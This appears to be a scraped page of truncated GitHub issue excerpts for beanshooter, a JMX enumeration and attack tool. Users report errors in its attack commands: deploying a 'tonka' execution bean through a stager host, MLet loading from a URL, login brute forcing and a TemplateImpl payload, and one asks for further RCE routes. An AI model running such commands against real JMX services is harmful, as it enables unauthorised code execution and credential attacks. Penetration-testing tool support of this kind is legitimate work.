beanshooter
beanshooter copied to clipboard
JMX enumeration and attacking tool.
Hey, just reporting this error as requested :) [~] : beanshooter tonka deploy --username admin --password adminadmin [Target IP] [Target Port] --stager-host [EC2 IP] --stager-port [EC2 Port] --no-stager Picked up...
First of all, thank you so much for this tool! I am getting an issue with the latest version when running the brute command. If it fails the first login...
In the beginning beanshooter does not decode the output of `tonka exec`. It just `write`s the original bytes to console without any side effect. So I think it could be...
Hello, One more tiny issue that I noticed on recent testing, in many cases the attempt to load a tonka bean will result in a plain mlet, The command that...
For some reason, I'm unable to deploy Tonka. I was able to download / load the file successfully with: `java -jar beanshooter-4.1.0-jar-with-dependencies.jar mlet load 127.0.0.1 1234 tonka http://127.0.0.1 --jmxmp` The...
I faced the following error when using beanshooter: ``` └─# java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum redacted 30042 [+] Checking available bound names: [+] [+] * jmxrmi (JMX endpoint: redacted:30042) [+] [+]...
Hi Tobias, I'm trying to download a file from a Windows Host. This leads to an InvalidPathException due to the illegal char ":". Full command + output: ``` $ java...
This issue has been troubling me for a long time. When encountering a JMX service in the internal network, and the jmxremote.port is mapped to the upstream IP through NAT...
Hello @qtc-de, While executing `java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard tonka` I get the following error ``` [jarvis@Mac-mini target] % java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard tonka [+] Creating a TemplateImpl payload object to...
I don't suppose you have any other methods of RCE when `ObjectName: com.sun.management:type=DiagnosticCommand` looks like this? even with admin:admin on a wowza server i'm checking out a number of things...